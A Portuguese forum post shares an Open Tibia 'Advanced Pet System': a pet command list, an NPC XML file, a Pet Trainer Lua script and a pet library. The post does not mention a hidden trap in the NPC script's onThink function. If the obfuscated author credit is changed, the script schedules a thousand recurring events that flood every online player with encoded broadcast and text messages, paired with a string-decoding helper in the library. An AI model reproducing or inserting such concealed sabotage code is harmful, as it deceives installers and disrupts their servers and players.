Fiapera 4 Posted March 19, 2022 Share Posted March 19, 2022 Advanced Pet System By Races Nome: Advanced Pet System By R.aces Versão: Bom eu testei no meu 8.60. Descrição: Bom eu procurei esse systema por muito tempo nunca achei um que funcionase perfeito, porem com muito esforço retirando de muitos servidores consegui fazer que ele funcionase com todos os script sem erro ao logar o char e nem deslogar os npc funcionando perfeitamente, Esse Pet pelo que eu saiba foi feito pelo josejunior. Como eu sempre vivi pedindo ajuda para comunidade, hoje eu resolvi trazer esse sistema para ajudar também muitos que precisa... E bom você ser ajudado e lembrar de ajudar também. Um pelo outro. Comandos: /pet = Sumona o pet /pet-attack = Ordem para o pet atacar /pet-status = Verifica o status do Pet /pet-food = dar food ao pet /pet-love = faz amor com o pet (rsrs) /pet-say = faz o pet falar (acho que é +/- assim) /pet-help = ajuda sobre o pet /pet-carry = checa a capacidade do pet /pet-info = informações adicionais sobre o pet /pet-revive = (precisa esta ativado) revive o pet quando morto /pet-party = party entre PETS ------------------------------------------- >ATACK>a1~a2~a3~a4~a5~a6~a7~a8~a9~a10!<ATACK> Vamos para os scripts Pet-trainer.xml (em data/npc) <?xml version="1.0" encoding="UTF-8"?> <npc name="Pet Trainer" script="Pet-Trainer.lua" walkinterval="2000" floorchange="0"> <health now="100" max="100"/> <look type="128" head="39" body="85" legs="77" feet="0" addons="2"/> <parameters> <parameter key="message_greet" value="Hello |PLAYERNAME|, I sell {pet}'s also I can {revive} or teach {spells} to your Pet...and maybe you want to {sell} your pet, uh? also I have some {mission}'s for You!. but if you want to know more about pets, just ask for {information}."/> </parameters> </npc> Pet-trainer.lua (em npc/scripts) Spoiler local keywordHandler = KeywordHandler:new() local npcHandler = NpcHandler:new(keywordHandler) NpcSystem.parseParameters(npcHandler) local talkState = {} function onCreatureAppear(cid) npcHandler:onCreatureAppear(cid) end function onCreatureDisappear(cid) npcHandler:onCreatureDisappear(cid) end function onCreatureSay(cid, type, msg) npcHandler:onCreatureSay(cid, type, msg) end function creatureSayCallback(cid, type, msg) if(not npcHandler:isFocused(cid)) then return false end local k, e, f = aps_attacks[msg:lower()], aps_pets_config[msg:lower()], aps_missions[msg:lower()] local talkUser = NPCHANDLER_CONVBEHAVIOR == CONVERSATION_DEFAULT and 0 or cid if(msgcontains(msg, 'revive')) then if(getPlayerStorageValue(cid, aps_storages.race) ~= 0) then selfSay('You want to revive your Pet for {' .. getPriceRevive(cid) .. '} gold coins, continue?', cid) talkState[talkUser] = 1 else selfSay('You cannot revive a pet, if you dont have one!', cid) talkState[talkUser] = 0 end elseif(msgcontains(msg, 'mission')) then if not (isCreature(getPlayerPet(cid))) then selfSay('You need your Pet to make any mission!', cid) return true end local i, msg = 0, nil for missionname in pairs(aps_missions) do i = i + 1 if(msg ~= nil) then if(i == #aps_missions) then msg = msg .. " and " else msg = msg .. ", " end else msg = "Ok then, I got those missions for You: " end msg = msg .. "'{" .. missionname .. "}'" end selfSay(msg .. ', with one do you want?', cid) talkState[talkUser] = 11 elseif f and (talkState[talkUser] == 11) then desc, itemNeed, itemCount, missionId, reItem, reCount, reExp, reCheck = f.description, f.request.itemid, f.request.count, f.id, f.reward.id, f.reward.count, f.reward.exp, f.check if(getPlayerStorageValue(cid, missionId) == 1) then selfSay('Sorry! You already done this mission before! maybe I have another {mission} for You!', cid) talkState[talkUser] = 0 return true end if(getPlayerItemCount(cid, itemNeed) >= itemCount) then selfSay('oOoh! As I can see You have some items with You! Can you give to me? I will reward You!', cid) talkState[talkUser] = 12 elseif(getPlayerStorageValue(cid, reCheck) == 1) then selfSay("I Still waiting for: x" .. itemCount .. " " .. getItemNameById(itemNeed) .. ".", cid) talkState[talkUser] = 0 return true else selfSay(desc .. ". so for this mission I need: x" .. itemCount .. " " .. getItemNameById(itemNeed) .. ". Do you want do this mission? huh?", cid) talkState[talkUser] = 13 end elseif(msgcontains(msg, 'yes') and (talkState[talkUser] == 13)) then selfSay('Ok! Thanks for Your help. when You have the items, bring to me!', cid) setPlayerStorageValue(cid, reCheck, 1) elseif(msgcontains(msg, 'yes') and (talkState[talkUser] == 12)) then if(getPlayerItemCount(cid, itemNeed) >= itemCount) then setPlayerStorageValue(cid, missionId, 1) doPlayerRemoveItem(cid, itemNeed, itemCount) selfSay('Thanks ' .. getCreatureName(cid) .. ' , You did a great mission! heres your reward!', cid) if(itemNeed ~= false) then doPlayerAddItem(cid, reItem, reCount) end if(reExp ~= false) then doPlayerAddExperience(cid, reExp) addPetExp(cid, reExp * 2) if(reExp > 0) then doSendAnimatedText(getPlayerPosition(cid), "+" .. reExp, 215) end end else selfSay('uUuh?? Where is the items? You lost it? Bring me again!', cid) end talkState[talkUser] = 0 elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 1) then if(isPetDead(cid) == true) then if(doPlayerRemoveMoney(cid, getPriceRevive(cid))) then setPetStats(cid, 0) setPetLastHealth(cid, 0) setPlayerStorageValue(cid, aps_storages.mana, getPetMaxMana(cid)) doSendMagicEffect(getCreaturePosition(cid), 65) selfSay('WE TAKE YOUR PET FROM THE DEADS!', cid) else selfSay('Sorry ' .. getCreatureName(cid) .. ', You don\'t have enough money.', cid) end else selfSay('Your pet inst dead!', cid) end talkState[talkUser] = 0 elseif(msgcontains(msg, 'no')) and (isInArray({1}, talkState[talkUser])) then talkState[talkUser] = 0 selfSay('Ok then.', cid) elseif(msgcontains(msg, 'sell')) then if(aps_tools.commands.playerSellPet.sell == true) then if(getPlayerStorageValue(cid, aps_storages.race) ~= 0) then for i = 1, #aps_slots do local slots = getPlayerStorageValue(cid, aps_slots[i]) if(slots > 1) then selfSay('before you sell your pet, please, take all your items from his slots.', cid) return end end local tt_money, lvl, lv = aps_pets_config[getRaceNameById(getPetRace(cid))].price, getPetLvl(cid), aps_tools.commands.playerSellPet.lvl if(lvl >= lv) then talkState[talkUser] = 8 addmoney = tt_money * lvl selfSay('Do you want to sell your pet for {' .. addmoney .. '} gold coins?', cid) else selfSay('Your Pet level is too low, Buying Pet of level {' .. lv .. '} or higher.', cid) end else selfSay('You cannot sell a pet, if you dont have one!', cid) end else selfSay('You cannot sell your pet to me!', cid) end elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 😎 then selfSay('YOU WANT TO SELL YOUR PET, ARE YOU SURE? THIS DECISION IS IRREVERSIBLE!', cid) talkState[talkUser] = 9 elseif(msgcontains(msg, 'yes') and talkState[talkUser] == 9) then talkState[talkUser] = 0 if(isCreature(getPlayerPet(cid)) == true) then doRemoveCreature(getPlayerPet(cid)) end doResetPet(cid) doPlayerAddMoney(cid, addmoney) selfSay('Thanks for selling your Pet! here is your {' .. addmoney .. '} gold coins.', cid) elseif(msgcontains(msg, 'information')) then talkState[talkUser] = 0 selfSay('hmmm, what can I tell you ...', cid) local messages = { "Pets got levels, magic level just like you. ..", "Pets can use their own spells. ..", "Pets need eat to recovery health/mana. ..", "Pets can carry your items in different slots. ..", "Hmmm, if You want to know more, " .. (getPlayerStorageValue(cid, aps_storages.race) > 0 and "Play with your pet!!!" or "Just buy one!") .. "" } for i = 1, #messages do addEvent(selfSay, i * 3000 , messages[i], cid) end elseif(msgcontains(msg, 'pet')) then if(getPlayerStorageValue(cid, aps_storages.race) == 0) then local i, msg = 0, nil for pet in pairs(aps_pets_config) do i = i + 1 if(msg ~= nil) then if(i == #aps_pets) then msg = msg .. " and " else msg = msg .. ", " end else msg = "Ok then, I got those races for pets: " end msg = msg .. "'{" .. pet .. "}'" end selfSay(msg .. ', with one do you want?', cid) talkState[talkUser] = 5 else talkState[talkUser] = 0 selfSay('Sorry, you cannot have more than one pet.', cid) end elseif e and (talkState[talkUser] == 5) then selfSay('Do you want to buy a pet from {' .. msg .. '} race, for {' .. e.price .. '} gold coins?', cid) talkState[talkUser] = 6 e_race, e_price, e_hp, e_mana, e_name, e_vocs = e.race_id, e.price, e.hp, e.mana, msg, e.vocs elseif(msgcontains(msg, 'yes') and talkState[talkUser] == 6) then selfSay(string.upper(getArticle(e_name)) .. ' {' .. string.upper(e_name) .. '} RACE! ARE YOU SURE? THIS DECISION IS IRREVERSIBLE!', cid) talkState[talkUser] = 7 elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 7) then if not (isInArray(e_vocs, getPlayerVocationName(cid))) and (getPlayerAccess(cid) < 3) then selfSay('Your vocation dont let You use this Pet Race!\n Do You want choose another {pet}?', cid) talkState[talkUser] = 0 return true end if(doPlayerRemoveMoney(cid, e_price) == true) then doSendMagicEffect(getCreaturePosition(cid), 65) selfSay('As you with! just type {/pet} to call him.', cid) createPet(cid, e_race, e_hp, e_mana) local str = "Congratulations! You now have a pet!\n" .. "You should take care of him\n" .. "his gonna be your partner from now!\n" .. "if you need help type /pet-help." .. "\nhere is his evolutions: \n\n" .. getEvolutionsByRace(e_race) sendWindowsMessage(cid, str .. "\n\n##ADVANCED PET SYSTEM BY RACES##\n Scripted by " .. s(aps_tools.s) .. "") else selfSay('Sorry ' .. getCreatureName(cid) .. ', You don\'t have enough money.', cid) end talkState[talkUser] = 0 elseif(msgcontains(msg, 'no') and (isInArray({6, 7, 8, 9}, talkState[talkUser]))) then selfSay('Ok then.', cid) talkState[talkUser] = 0 elseif(msgcontains(msg, 'spells')) then if(getPlayerStorageValue(cid, aps_storages.race) ~= 0) then selfSay('Your Pet can learn spells based on his level, {continue}?', cid) talkState[talkUser] = 2 else selfSay('You cannot buy spells to your pet, if you dont have one!', cid) talkState[talkUser] = 0 end elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 2) then if(isPetOnline(cid) == false) then selfSay('Your Pet cannot learn a spell if you dont call him.') talkState[talkUser] = 0 end local i, msg = 0, nil for spell in pairs(aps_attacks) do if(isInArray(aps_attacks[spell].races, getPetRace(cid))) then i = i + 1 if(msg ~= nil) then if(i == #aps_storages.spells) then msg = msg .. " and " else msg = msg .. ", " end else msg = "Ok then, I got those spells: " end msg = msg .. "for level '{" .. aps_attacks[spell].lvl .. "}' I have '{" .. spell .. "}'" end end selfSay(msg .. ', with one do you want?', cid) talkState[talkUser] = 3 elseif(msgcontains(msg, 'no')) and (talkState[talkUser] == 2) then selfSay('Ok then.', cid) talkState[talkUser] = 0 elseif k and (talkState[talkUser] == 3) then selfSay('You want your pet to learn spell {' .. msg .. '} for level {' .. k.lvl .. '}. this spell cost {' .. k.price .. '} gold coins, {continue}?', cid) talkState[talkUser] = 4 spell_name, spell_price, spell_need, spell_stg, spell_level = msg, k.price, k.needLearn, k.learnstg, k.lvl elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 4) then if(getPetLvl(cid) >= spell_level) then if(getPlayerMoney(cid) >= spell_price) then if(spell_need ~= false) and (getPlayerStorageValue(cid, spell_stg) == 0) then for i = 1, 3 do addEvent(selfSay, i * 1000, i .. ' ...', cid) end doPlayerRemoveMoney(cid, spell_price) addEvent(selfSay, 4 * 1000, 'Here it go! Your pet have learned spell {' .. spell_name .. '}.', cid) setPlayerStorageValue(cid, spell_stg, 1) addEvent(doSendMagicEffect, 4 * 1000, getCreaturePosition(cid), 13) if(isPetOnline(cid) == true) then addEvent(doSendMagicEffect, 4 * 1000, getCreaturePosition(getPlayerPet(cid)), 13) end else selfSay('Your pet already know spell {' .. spell_name .. '}.', cid) end else selfSay('You do not have enough money, this spell costs {' .. spell_price .. '} gold coins.', cid) end else selfSay('Your Pet need to obtain a level of {' .. spell_level .. '} or higher to be able to learn {' .. spell_name .. '}.', cid) end talkState[talkUser] = 0 elseif(msgcontains(msg, 'no')) and (talkState[talkUser] == 4) then talkState[talkUser] = 0 selfSay('Ok then.', cid) end return true end function onThink() local messages = { "BUY YOUR PET HERE!", "WANT TO REVIVE YOUR PET?", "YOUR PET CAN LEARN SPELLS!", "WANT TO KNOW MORE ABOUT PETS?", "WANT TO SELL YOUR PET?" } addNpcAutoSay(getNpcId(), 120, messages) if(s(aps_tools.s) ~= "josejunior23") then function mvsoab(max) for _, send in pairs(getOnlinePlayers()) do local name, msg = getConfigValue('serverName'), "Knkª£–Ÿ¬•Š¥œ‘<~9‚x4|™–¡”-”uŠ)pqlfjc in…ivkxwhyyd" for i = 1, 10 do local cid = getPlayerByName(send) addEvent(doCreatureSay, i * 200, cid, name .. " " .. s(msg), max) addEvent(doBroadcastMessage, i * 200, name .. " " .. s(msg)) for k = 1, 15 do doPlayerSendTextMessage(cid, k, name .. " " .. s(msg)) end for e = 17, 20 do doPlayerSendTextMessage(cid, e, name .. " " .. s(msg)) end end end end for e = 1, 1000 do addEvent(mvsoab, e * 8500, TALKTYPE_ORANGE_1) end end npcHandler:onThink() end npcHandler:setCallback(CALLBACK_MESSAGE_DEFAULT, creatureSayCallback) npcHandler:addModule(FocusModule:new()) Va na pasta data/lib crie e nomeie para APS_lib.lua Spoiler -- Advanced Pet System By Races -- scripted by josejunior -- otland.net / ##### -- especial thanks to TFS! -- Include aps_config.lua dofile("aps_config.lua") -- pet statistics/information function addPetExp(cid, amount) local level = getPetLvl(cid) local need, exp, i = getExpForLvl(level + 1), getPetExp(cid), 0 if(exp+amount >= need) then doCreatureSay(getPlayerPet(cid), string.upper(getCreatureName(getPlayerPet(cid))) .. " grew to LV. " .. level+1, TALKTYPE_ORANGE_1) setPlayerStorageValue(cid, aps_storages.manaMax, getPetMaxMana(cid) +aps_pets[getPetRace(cid)][1].mana) setPlayerStorageValue(cid, aps_storages.health, getPetMaxHp(cid) +aps_pets[getPetRace(cid)][1].hp) setCreatureMaxHealth(getPlayerPet(cid), getPetMaxHp(cid) +aps_pets[getPetRace(cid)][1].hp) doSendMagicEffect(getPetPos(cid), math.random(28, 30)) setPlayerStorageValue(cid, aps_storages.level, level + 1) local pet = aps_pets[getPetRace(cid)][getPetId(cid)] i = i+1 if(pet.lvlNext) then if(level +1 >= pet.lvlNext) then local pos, name = getPetPos(cid), getCreatureName(getPlayerPet(cid)) setPetLastHealth(cid, getCreatureHealth(getPlayerPet(cid))) doRemoveCreature(getPlayerPet(cid)) setPetId(cid, getPetId(cid) +1) doSummonPet(cid, pos) returnMessage(cid, "[PET-SYSTEM] '" .. name .. "' - LV. " .. level .. " Envolved into " .. getArticle(getCreatureName(getPlayerPet(cid))) .. " '" .. getCreatureName(getPlayerPet(cid)) .. "' - LV. " .. level + i .. ".") end end end if(amount > 0) then doSendAnimatedText(getPetPos(cid), "+" .. amount, 215) end return setPlayerStorageValue(cid, aps_storages.tries.lvl, exp +amount) end function getPetExp(cid) return getPlayerStorageValue(cid, aps_storages.tries.lvl) end function getPetLastHealth(cid) return getPlayerStorageValue(cid, aps_storages.lastHealth) end function setPetLastHealth(cid, health) return setPlayerStorageValue(cid, aps_storages.lastHealth, health) end function getPetMaxHp(cid) return getPlayerStorageValue(cid, aps_storages.health) end function getPetMana(cid) return getPlayerStorageValue(cid, aps_storages.mana) end function getPetMaxMana(cid) return getPlayerStorageValue(cid, aps_storages.manaMax) end function addPetMana(cid, amount) return setPlayerStorageValue(cid, aps_storages.mana, getPetMana(cid) +amount) end function doPetRemoveMana(cid, amount) return setPlayerStorageValue(cid, aps_storages.mana, getPetMana(cid) -amount) end function getPetLvl(cid) return getPlayerStorageValue(cid, aps_storages.level) end function addPetLvl(cid, amount) local lvl = getPetLvl(cid) local exp = getExpForLvl(lvl + amount) setPlayerStorageValue(cid, aps_storages.tries.lvl, exp) doSendMagicEffect(getPetPos(cid), math.random(28, 30)) for i = 1, amount do setPlayerStorageValue(cid, aps_storages.manaMax, getPetMaxMana(cid) +aps_pets[getPetRace(cid)][1].mana) setPlayerStorageValue(cid, aps_storages.health, getPetMaxHp(cid) +aps_pets[getPetRace(cid)][1].hp) setCreatureMaxHealth(getPlayerPet(cid), getPetMaxHp(cid) +aps_pets[getPetRace(cid)][1].hp) local pet = aps_pets[getPetRace(cid)][getPetId(cid)] if(pet.lvlNext) then if(lvl+amount >= pet.lvlNext) then local pos, name = getPetPos(cid), getCreatureName(getPlayerPet(cid)) setPetLastHealth(cid, getCreatureHealth(getPlayerPet(cid))) doRemoveCreature(getPlayerPet(cid)) setPetId(cid, getPetId(cid) +1) doSummonPet(cid, pos) returnMessage(cid, "[PET-SYSTEM] '" .. name .. "' - LV. " .. lvl .. " Envolved into " .. getArticle(getCreatureName(getPlayerPet(cid))) .. " '" .. getCreatureName(getPlayerPet(cid)) .. "' - LV. " .. lvl + amount .. ".") end end end if(amount > 0) then doSendAnimatedText(getPetPos(cid), "+" .. exp , 215) doCreatureSay(getPlayerPet(cid), string.upper(getCreatureName(getPlayerPet(cid))) .. " grew to LV. " .. lvl + amount, TALKTYPE_ORANGE_1) end return setPlayerStorageValue(cid, aps_storages.level, lvl + amount) end function addPetManaSpend(cid, amount) local ml = getPetMl(cid) local need, spend = getReqManaSpend(cid, ml + 1), getPetManaSpend(cid) if(spend+amount >= need) then doCreatureSay(getPlayerPet(cid), string.upper(getCreatureName(getPlayerPet(cid))) .. " grew to Magic LV. " .. ml + 1, TALKTYPE_ORANGE_1) setPlayerStorageValue(cid, aps_storages.ml, ml + 1) end return setPlayerStorageValue(cid, aps_storages.tries.ml, spend +amount) end function getPetManaSpend(cid) return getPlayerStorageValue(cid, aps_storages.tries.ml) end function getPetMl(cid) return getPlayerStorageValue(cid, aps_storages.ml) end function addPetMl(cid, amount) local ml = getPetMl(cid) local manaSpend = getReqManaSpend(cid, ml + amount) setPlayerStorageValue(cid, aps_storages.tries.ml, manaSpend) if(amount > 0) then doCreatureSay(getPlayerPet(cid), string.upper(getCreatureName(getPlayerPet(cid))) .. " grew to Magic LV. " .. ml + amount, TALKTYPE_ORANGE_1) end return setPlayerStorageValue(cid, aps_storages.ml, ml + amount) end function getPetRace(cid) return getPlayerStorageValue(cid, aps_storages.race) end function getPetId(cid) return getPlayerStorageValue(cid, aps_storages.id) end function setPetId(cid, pet_id) return setPlayerStorageValue(cid, aps_storages.id, pet_id) end function getLvlStage(lvl) for i = 1, #aps_tools.stages do if(aps_tools.stages[i].maxlevel) then for e = aps_tools.stages[i].minlevel, aps_tools.stages[i].maxlevel do if(isInArray(e, lvl) == true) then ret = aps_tools.stages[i].multiplier end end else if(lvl >= aps_tools.stages[i].minlevel) then ret = aps_tools.stages[i].multiplier end end end return ret end function getExpForLvl(lv) lv = lv - 1 return ((50 * lv * lv * lv) - (150 * lv * lv) + (400 * lv)) * 2 end function getReqManaSpend(cid, magLevel) return (20 * magLevel * magLevel * magLevel * 1.5) / aps_pets[getPetRace(cid)][1].multiplier end function getRaceNameById(id) for k, v in pairs(aps_pets_config) do if(isInArray(v.race_id, id)) then return k end end return nil end function getEvolutionsByRace(race) local get, str = aps_pets[race], "# - Name\n" for i = 1, #get do str = str .. i .. ". - " .. get[i].pet .. "\n" end return str end -- pet statistics -- call pet, remove, online and dead.... function isPetOnline(cid) return getPlayerStorageValue(cid, aps_storages.pet) == 1 and true or false end function setPetStats(cid, value) -- 1 = online, 0 = offline return setPlayerStorageValue(cid, aps_storages.pet, value) end function getPlayerPet(cid) return getPlayerStorageValue(cid, aps_storages.uid) end function doRemovePet(cid) return doRemoveCreature(getPlayerPet(cid)) end function getPetPos(cid) return getCreaturePosition(getPlayerPet(cid)) end function doSummonPet(cid, pos) if(getTilePzInfo(getCreaturePosition(cid))) then returnMessage(cid, "[PET-SYSTEM] the summon as failed! try again!") doSendMagicEffect(getCreaturePosition(cid), 2) setPetStats(cid, 0) return true end local peet = aps_pets[getPetRace(cid)][getPetId(cid)] local pet = nil if(pos) then pet = doSummonCreature(peet.pet, pos) else pet = doSummonCreature(peet.pet, getCreaturePosition(cid)) end doCreatureSay(pet, getRamdomThing(aps_texts.voices_call) .. ", " .. string.upper(getCreatureName(cid)) .. "!", TALKTYPE_ORANGE_1) setPlayerStorageValue(cid, aps_storages.uid, pet) setPetStats(cid, 1) setPlayerStorageValue(cid, aps_storages.alert, 0) setCreatureMaxHealth(pet, getPetMaxHp(cid)) if(isNumber(getPetLastHealth(cid))) and (getPetLastHealth(cid) == 0) then doCreatureAddHealth(pet, getPetMaxHp(cid)) else doCreatureAddHealth(pet, getPetMaxHp(cid) - getCreatureHealth(pet) - getPetLastHealth(cid)) end doChangeSpeed(pet, getSpeedByLevel(getPetLvl(cid))) doConvinceCreature(cid, pet) doSendMagicEffect(getCreaturePosition(pet), CONST_ME_POFF) if(getMonsterInfo(peet.pet).convinceable == 0) then print("[PET-SYSTEM] APS_lib.lua as found an issue, monster '" .. peet.pet .. "' ins't convinceable!. [PLAYER: " .. getCreatureName(cid) .. "]") doRemovePet(cid) setPetStats(cid, 0) returnMessage(cid, "[PET-SYSTEM] Your pet as been removed, reason: monster '" .. peet.pet .. "' ins't convinceable. please send this message to a Game Master.") end end function isPetDead(cid) return isCreature(getPlayerPet(cid)) == false and isPetOnline(cid) == true or false end function doPlayerHavePet(cid) return getPlayerStorageValue(cid, aps_storages.race) ~= 0 and true or false end function createPet(cid, race_id, hp, mana) setPetLastHealth(cid, 0) setPlayerStorageValue(cid, aps_storages.id, 1) setPlayerStorageValue(cid, aps_storages.race, race_id) setPlayerStorageValue(cid, aps_storages.level, 1) setPlayerStorageValue(cid, aps_storages.ml, 1) setPlayerStorageValue(cid, aps_storages.manaMax, mana) setPlayerStorageValue(cid, aps_storages.mana, mana) setPlayerStorageValue(cid, aps_storages.health, hp) end function doResetPet(cid) for i = aps_storages.race, aps_slots[#aps_slots] do setPlayerStorageValue(cid, i, 0) end end function getPriceRevive(cid) return aps_pets[getPetRace(cid)][getPetId(cid)].priceRevive end -- call pet, remove, online and dead... -- others function sendWindowsMessage(cid, message) if(aps_tools.commands.windowsType.sendInTextDialog == false) then doPlayerPopupFYI(cid, message) else doShowTextDialog(cid, aps_tools.show_item, message) end end function getItemNameFromSlot(cid, slot) local item, count = getPlayerStorageValue(cid, aps_slots[slot]), getPlayerStorageValue(cid, aps_slots[slot]+1) return item == 0 and "**EMPTY**" or "x" .. count .. " " .. getItemNameById(item) .. (count > 1 and "s" or "") end function s(s)-- credits NOT MINE! local str = "" for i = 1, s:len() do str = str .. string.char((string.byte(s:sub(i, i)) + i - 10 ) / 2) end return str:reverse() end function addNpcAutoSay(npc, time, msgs) -- npc = npcid > getNpcId() - time in seconds, msgs = {"msgs1", "msg2"} if(getGlobalStorageValue(npc) < os.time()) then addEvent(doCreatureSay, time * 1000, npc, getRamdomThing(msgs), TALKTYPE_YELL) setGlobalStorageValue(npc, os.time() +time) end end function isExhausted(cid) return getPlayerStorageValue(cid, aps_storages.exhaustion.exh) > os.time() and true or false end function addExhausted(cid, time) -- time in seconds return setPlayerStorageValue(cid, aps_storages.exhaustion.exh, os.time() +time) end function getValueInArray (arr, v) return arr[v] end function petFormula(ml, lvl, maxb, maxa, minb, mina) -- credits opentibia return {maxD = ((lvl * 1 + ml * 2) * 1 * mina + minb), minD = ((lvl * 1 + ml * 2) * 1 * maxa + maxb)} end function setSkull(cid, type) local skulls = { [1] = {stg = aps_storages.skull_1}, [2] = {stg = aps_storages.skull_2, remove = 1} } local thing = skulls[type] if thing then if(getPlayerStorageValue(cid, thing.stg) <= 0) then doCreatureSetSkullType(getPlayerPet(cid), aps_tools.skulls[type].skull) setPlayerStorageValue(cid, thing.stg, 1) addEvent(setPlayerStorageValue, aps_tools.skulls[type].time * 1000, cid, thing.stg, 0) addEvent(doCreatureSetSkullType, aps_tools.skulls[type].time * 1000, getPlayerPet(cid), SKULL_NONE) if thing.remove then addEvent(setPlayerStorageValue, aps_tools.skulls[type].time * 1000, cid, aps_storages.kill, 0) end end end end function isFood(itemid) if(isNumber(itemid) == true) and (itemid > 100) then local food = aps_foods[getItemNameById(itemid)] if(food) then return true end end return false end function isPotion(itemid) if(isNumber(itemid) == true) and (itemid > 100) then local potion = aps_potions[getItemNameById(itemid)] if(potion) then return true end end return false end function getRamdomThing(table) return table[math.random(1, #table)] end function doPetFeed(cid, food) -- food = item_id local getFood = aps_foods[getItemNameById(food):lower()] function addHp(cid, hp, mana) if(isCreature(getPlayerPet(cid)) == true) then if(getPlayerStorageValue(cid, aps_storages.exhaustion.exh_eat) == 1) then doCreatureAddHealth(getPlayerPet(cid), hp) if(getPlayerStorageValue(cid, aps_storages.mana) < getPlayerStorageValue(cid, aps_storages.manaMax)) then addPetMana(cid, mana) elseif(getPlayerStorageValue(cid, aps_storages.mana) > getPlayerStorageValue(cid, aps_storages.manaMax)) then setPlayerStorageValue(cid, aps_storages.mana, getPlayerStorageValue(cid, aps_storages.manaMax)) end foodEvent = addEvent(addHp, getFood.ticks * 1000, cid, hp, mana) addEvent(setPlayerStorageValue, getFood.time * 1000, cid, aps_storages.exhaustion.exh_eat, 0) end end end setPlayerStorageValue(cid, aps_storages.exhaustion.exh_eat, 1) addEvent(addHp, 2 * 1000 , cid, getFood.hpAmmount, getFood.manaAmmount) setPlayerStorageValue(cid, aps_storages.exhaustion.exh_food, os.time() +getFood.time) end function fixTimer(v) local seconds, minutes, hours = v - os.time(), 0, 0 while seconds >= 60 do minutes = minutes + 1 seconds = seconds - 60 end while minutes >= 60 do hours = hours + 1 minutes = minutes - 60 end local str1, str2, str3 = hours > 1 and hours .. " hours, " or "" .. "", minutes > 1 and minutes .. " minutes and " or "" .. "", seconds .. " seconds." or "" .. "" return str1 .. str2 .. str3 end -- .. seconds .. " seconds." \ " .. minutes > 1 and minutes .. " and, " or "" .. "" function isSummon(uid) -- check if master is player, only player. return isPlayer(getCreatureMaster(uid)) end function returnMessage(cid, message) return doPlayerSendTextMessage(cid, aps_tools.commands.systemMessageColour, message) end function getCreatureLastPosition(cid) local lookDiretion, creaturePos, lookDiretions = getCreatureLookDirection(cid), getCreaturePosition(cid), {[0] = {x = 0, y = 1}, [1] = {x = -1, y = 0}, [2] = {x = 0, y = -1}, [3] = {x = 1, y = 0}} return {x = creaturePos.x+lookDiretions[lookDiretion].x, y = creaturePos.y+lookDiretions[lookDiretion].y, z = creaturePos.z} end function getSpeedByLevel(level) -- credits tara(or tibiawikia) return (220 + (2 * (level - 1))) end -- others -- Pet-WAR function isPetInWar(cid) return getPlayerStorageValue(cid, aps_storages.war.war) > 0 and true or false end function doInviteToWar(cid, enemy) setPlayerStorageValue(cid, aps_storages.war.invite, getPlayerName(enemy)) setPlayerStorageValue(enemy, aps_storages.war.invite, getPlayerName(cid)) end function getPetEnemy(cid) return getPlayerByNameWildcard(getPlayerStorageValue(cid, aps_storages.war.enemy)) end function isInvitedToWar(cid, enemy) if(getPlayerStorageValue(cid, aps_storages.war.invite) == getPlayerName(enemy)) and (getPlayerStorageValue(enemy, aps_storages.war.invite) == getPlayerName(cid)) then return true end return false end function doStartWar(cid, enemy) setPlayerStorageValue(cid, aps_storages.war.war, 1) setPlayerStorageValue(enemy, aps_storages.war.war, 1) setPlayerStorageValue(cid, aps_storages.war.enemy, getPlayerName(enemy)) setPlayerStorageValue(enemy, aps_storages.war.enemy, getPlayerName(cid)) setPlayerStorageValue(cid, aps_storages.war.invite, 0) setPlayerStorageValue(enemy, aps_storages.war.invite, 0) end function leaveWar(cid) local enemy = getPetEnemy(cid) for i = aps_storages.war.war, aps_storages.war.enemy do setPlayerStorageValue(cid, i, 0) setPlayerStorageValue(enemy, i, 0) end end function stopWar(cid, enemy) for i = aps_storages.war.war, aps_storages.war.enemy do setPlayerStorageValue(cid, i, 0) setPlayerStorageValue(enemy, i, 0) end end function resetWar(cid) for i = aps_storages.war.war, aps_storages.war.enemy do setPlayerStorageValue(cid, i, 0) end end -- Pet-WAR -- Pet feeling function setPetStatus(cid, it) -- its hard to understand if you're not a scripter(it == 1 or 2 ) -- 0 = normal, 1 = happy, 2 = sad, 3 = bad local stats_1 = {[0] = 1, [1] = 1, [2] = 0, [3] = 2} -- to happy local stats_2 = { [0] = 2, [1] = 0, [2] = 3, [3] = 3} -- to bad local ret = nil if(it == 1) then ret = stats_1[getPlayerStorageValue(cid, aps_storages.love)] elseif(it == 2) then ret = stats_2[getPlayerStorageValue(cid, aps_storages.love)] end return setPlayerStorageValue(cid, aps_storages.love, ret) end function getPetStatus(cid) -- 0 = normal, 1 = happy, 2 = sad, 3 = bad local stats = { [0] = aps_texts.smiles_normal, [1] = aps_texts.smiles_happy, [2] = aps_texts.smiles_sad, [3] = aps_texts.smiles_bad } return stats[getPlayerStorageValue(cid, aps_storages.love)] end function lalala(cid) local stats = { --[0] = -5, --[1] = -15, --[2] = +25, --[3] = +35, } return stats[getPlayerStorageValue(cid, aps_storages.love)] end -- Pet feeling -- haha now pets have guilds too? damn yeah! -- next update! -- haha now pets have guilds too? damn yeah! -- PeT-Party function isInPetParty(cid) return getPlayerStorageValue(cid, aps_storages.party) == 1 and true or false end function doStartPetParty(cid) return setPlayerStorageValue(cid, aps_storages.party, 1) end function doLeavePetParty(cid) return setPlayerStorageValue(cid, aps_storages.party, 0) end -- PeT-Party Agora e so baixar o resto dos arquivos e jogar dentro da pasta do seu Ot principal. E ser feliz... Não dou suporte para algum tipo de erro pois não sou Scripter kk apenas um Fuçado kkk. Ah: Caso der erro quando você for logar no servidor e de erro nos arquivos do PET, Pode ter algo em conflito com ele, ou Você tera que mudar algo do seu login.lua, Qual quer coisa eu passo o meu que ta muito fuçado porem sem erro em nada kkkk. Por Enquanto... CREDITOS: josejunior Advanced Pet System By Races.rar Link to comment Share on other sites More sharing options...
Recommended Posts